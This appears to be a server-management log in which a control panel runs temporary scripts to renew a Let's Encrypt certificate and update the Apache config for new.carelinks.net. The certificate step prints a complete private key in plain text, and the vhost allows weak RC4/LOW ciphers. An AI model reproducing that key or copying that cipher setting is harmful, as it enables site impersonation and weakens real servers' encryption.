MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-04 23:18:45: Establishing a connection
2026-03-04 23:19:14: Establishing a connection
2026-03-04 23:19:15: 

PUT: /tmp/pkp433382

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-04 23:19:15: 

chmod 755 /tmp/pkp433382; /tmp/pkp433382; rm /tmp/pkp433382

2026-03-04 23:19:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-03-04 23:19:15: 

systemctl reload nagios

2026-03-04 23:19:15: 




2026-03-05 06:00:02: Establishing a connection
2026-03-05 06:00:03: Establishing a connection
2026-03-05 06:00:03: 

PUT: /tmp/pkp440899

#!/bin/bash
if [ -d "/var/www/carelinks_new/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-05 06:00:03: 

chmod 755 /tmp/pkp440899; /tmp/pkp440899; rm /tmp/pkp440899

2026-03-05 06:00:03: 


1


2026-03-05 06:00:05: Establishing a connection
2026-03-05 06:00:05: 

PUT: /tmp/pkp799907

#!/bin/bash
mkdir -p "/var/www/carelinks_new/.well-known/acme-challenge/"
cd "/var/www/carelinks_new/.well-known/acme-challenge/"
cat > _WIykwPYqJadDjkyMSV5uM0pgOPYco-W0pGRWv8u_aE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
_WIykwPYqJadDjkyMSV5uM0pgOPYco-W0pGRWv8u_aE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 _WIykwPYqJadDjkyMSV5uM0pgOPYco-W0pGRWv8u_aE


2026-03-05 06:00:05: 

chmod 755 /tmp/pkp799907; /tmp/pkp799907; rm /tmp/pkp799907

2026-03-05 06:00:05: 




2026-03-05 06:00:13: Establishing a connection
2026-03-05 06:00:13: 

PUT: /tmp/pkp178196

#!/bin/bash
mkdir -p "/var/www/carelinks_new/.well-known/acme-challenge/"
cd "/var/www/carelinks_new/.well-known/acme-challenge/"
rm _WIykwPYqJadDjkyMSV5uM0pgOPYco-W0pGRWv8u_aE


2026-03-05 06:00:13: 

chmod 755 /tmp/pkp178196; /tmp/pkp178196; rm /tmp/pkp178196

2026-03-05 06:00:13: 




2026-03-05 06:00:13: Establishing a connection
2026-03-05 06:00:14: 

PUT: /tmp/pkp216275

#!/bin/bash
temp_file=$(mktemp)
TARGET=c13083ef22e4da45778cd2f50f19c2de.crt

cat > $temp_file <<'endmsg'
da:46:95:8d:39:e8:83:09:53:b8:d2:cb:a9:cb:41:07

-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBUeM8bLPV3zXHjxy2KFpGlOIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzA1MDUwMTQwWhcNMjYwNjAzMDUwMTM5WjAcMRowGAYDVQQD
ExFuZXcuY2FyZWxpbmtzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALxeZcXRndUzZ5SadeRWh3Dr/EKGMIEs4R/n8LWKG8cXzr3fuD5XrPb8az+M
dfHStZtszhivi/+4sjHUj3ICm8Oqqkj+43re+WTzMyW1VuCH3oBYzYy+/0utQxy6
OYGDYvL1QwDrvjludykTq+zUkGZCLMhRNgv32D5pyzz1XXcn6GQ1Ush6ej4rAY0i
v6ov/by1g/cQ+edNMXkRnYG2waQNrju/WB8ipbff6ykh6TI1nUCBts+UyJJk28OY
2De5N0XFWsIJmxzC1zUXshwti2WjWmODF5yLwUXLqeU6pfVTkqlqwldavd5+dQAb
lbqyS8WWen/EScKkR0204YmrqxUCAwEAAaOCAh0wggIZMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBT2
Cqd0xtpP6l0IaHgrylfRNbO2RDAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQO
O9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5s
ZW5jci5vcmcvMBwGA1UdEQQVMBOCEW5ldy5jYXJlbGlua3MubmV0MBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC0GA1UdHwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvOS5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcAfgClyXiSXVdGF4KH
DdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZy8lQ8VAAgAAAUANEJbowQDAEcwRQIh
ALqU9TSQh8oevlFnZdFLbbMR6+CEVELyNu4l+CjbqGUuAiADxUXqgMoZKolZTyPJ
XKos2eRkpTNrWCh0f4/msEPwtgB1AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+
1QPJfc3wAAABnLyVFjsAAAQDAEYwRAIgEkFiNd4SrvjQK1fX7Fuylxm8Eb459CXV
+biHKBd/qMECIE7lBqp0ve1ndIkEME+SWfriEzWpaAWHU6nsBDQNZNLVMA0GCSqG
SIb3DQEBCwUAA4IBAQB4oZ4CDC/0VjRsT3x2k+5X3ULf0IxWxS517Uc8MTRfxTe6
GrJfkyF2XSR7kpXbuqdmkI6tQRKCzy4Pqjfd/ux8Qfq01Dwx4nZIoLvLJvmMrA+2
fjZv8fwbK1w7I9lA9ZKi+qKo6neh2XhlSOhNjAnjnWTGDbPs8pKjeoIEfxFL4aHT
ZLLQntlGJgB8ilrO7lTMKBRcAxrp3c6cuORCwKBwtxAOaHoRMor18iPxKQi8ngps
vNWoiLGZ4prfQcj8kw35IP88n6kvbnddkPT5ufJj1HsqowaYdLdfJ77imwE+v7yL
rOzICGlLWMXW2qFvJUn8lWOBWqnK3DmkIKD2yoWb
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8XmXF0Z3VM2eU
mnXkVodw6/xChjCBLOEf5/C1ihvHF86937g+V6z2/Gs/jHXx0rWbbM4Yr4v/uLIx
1I9yApvDqqpI/uN63vlk8zMltVbgh96AWM2Mvv9LrUMcujmBg2Ly9UMA6745bncp
E6vs1JBmQizIUTYL99g+acs89V13J+hkNVLIeno+KwGNIr+qL/28tYP3EPnnTTF5
EZ2BtsGkDa47v1gfIqW33+spIekyNZ1AgbbPlMiSZNvDmNg3uTdFxVrCCZscwtc1
F7IcLYtlo1pjgxeci8FFy6nlOqX1U5KpasJXWr3efnUAG5W6skvFlnp/xEnCpEdN
tOGJq6sVAgMBAAECggEAHwOSfB8xfmsymwancctGt4fohnIeRavEUS2DYKXMQbEg
yqWtac5OXcgHnHSdmA2E9dcp7mnmLK9rNMXLlw4+OS69+hDFbB3kMAPUIFmauT3a
8NouKwXoy2ahOHdM2o8YWT+aeD9YQuUg3MmECBVOGm1mKYEoMJDuW1sDKcE4Uf1z
qIG0a4pqBK8fScqHDXxLewfsjMxNGqhOIQ5Uzpn0naTYfqXiBfYCiSUfZZI5Hk7f
cKyDw92FkneEDXlmnBGAngdeO4Uu6/8kSqsLcKApVbMC0WZgEIGYzHvsxSD0B4wg
P7tL9hprDOdjPaMGa5Bd2w9ExLrnLYa8IonSjTtS7QKBgQD2RW9F9DiMXrkAKMaY
G6DLNIKX0xJa1RfIi4DO1wajEtNI17yeGGSYKhWGvT4ChWTQuOn9dGo9dAWy8u1m
MuWlcF3ClrU3D85cOz/48P62T2nM+VZD5dhwE6tqjJurNfQLhf75ox9DlRNL8u8h
rhJBI3VDs192ZiwupSsrSPKVPwKBgQDDz2OoGFofjvWHfMkEIp5TqP41KCBUNECK
vEEaR5w/ojA7B6oK8KNLlT+SnP56+Zb4r0MICu/84UclN5HgNca33CihUFzBVzhw
BQBQakLddQV+2owyuhnlha8Qx9+yhl3I9Giy+nL7hE0pI0t35wrBF3pui0znuQvA
p/Qn2r2GqwKBgEY6fMXlJC8bYARknGWKE2t/WPJ01ZojhHnDFoNlnFXqq2ftZbNr
31vpPGRFGSbc5WgEI24MwbMun+VtEzf+sbBg/8va8Gh4UG/K0a5rAyf4M4KpY+lO
5U7ovQxQdp/3bdXPa2vDEcpS+8K/z2O6YShENU+OGl4IOvc+ULYyQkM/AoGAH5V1
IqkC6HI7wmXrWqJm3WG110cop8xh2L7y1VVVq6Hym6Lp16fm/wsM3Q47sgROSMCk
VEjHWwfPXP5wpjSmYAO//f0jaQAzl0YHPfFV5bi5cTO5R3ljMfV1PoSu3XH08LQT
q0LghxdZBtitlKKMxoaN9gS8G+hqL+InbMJIrc8CgYEAhlY0n6mbC/puV/KEajh9
8brVAXfViW8QOdUdvTiQKzzl9LJC3esWYx9AmVqvqDSA4zmhenFANsgMIYhghhUy
b7CexKVgeiT6bJo95EHxfwe7FooWMHXc8JJihHAFEeor2p0bleNnar4OMXuMkt4Y
2redtWJIZMhz/pxQOTZfVIM=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-05 06:00:14: 

chmod 755 /tmp/pkp216275; /tmp/pkp216275; rm /tmp/pkp216275

2026-03-05 06:00:14: 


dir=/etc/ssl/certs


2026-03-05 06:00:14: 

PUT: /tmp/pkp843771

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinks_new_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-05 06:00:14: 

chmod 755 /tmp/pkp843771; /tmp/pkp843771; rm /tmp/pkp843771

2026-03-05 06:00:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_new_net.conf 41

<VirtualHost *:80>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>






2026-03-05 06:00:14: 

PUT: /tmp/pkp945433

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_new_net.conf
TARGET=/etc/apache2/sites-enabled/carelinks_new_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinks_new_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_new_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_new_net.conf= 1'
fi


2026-03-05 06:00:14: 

chmod 755 /tmp/pkp945433; /tmp/pkp945433; rm /tmp/pkp945433

2026-03-05 06:00:14: 




2026-03-05 06:00:14: 

PUT: /tmp/pkp406406

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-05 06:00:14: 

chmod 755 /tmp/pkp406406; /tmp/pkp406406; rm /tmp/pkp406406

2026-03-05 06:00:14: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-05 06:00:14: Establishing a connection
2026-03-05 06:00:14: 

PUT: /tmp/pkp842844

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-05 06:00:14: 

chmod 755 /tmp/pkp842844; /tmp/pkp842844; rm /tmp/pkp842844

2026-03-05 06:00:14: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
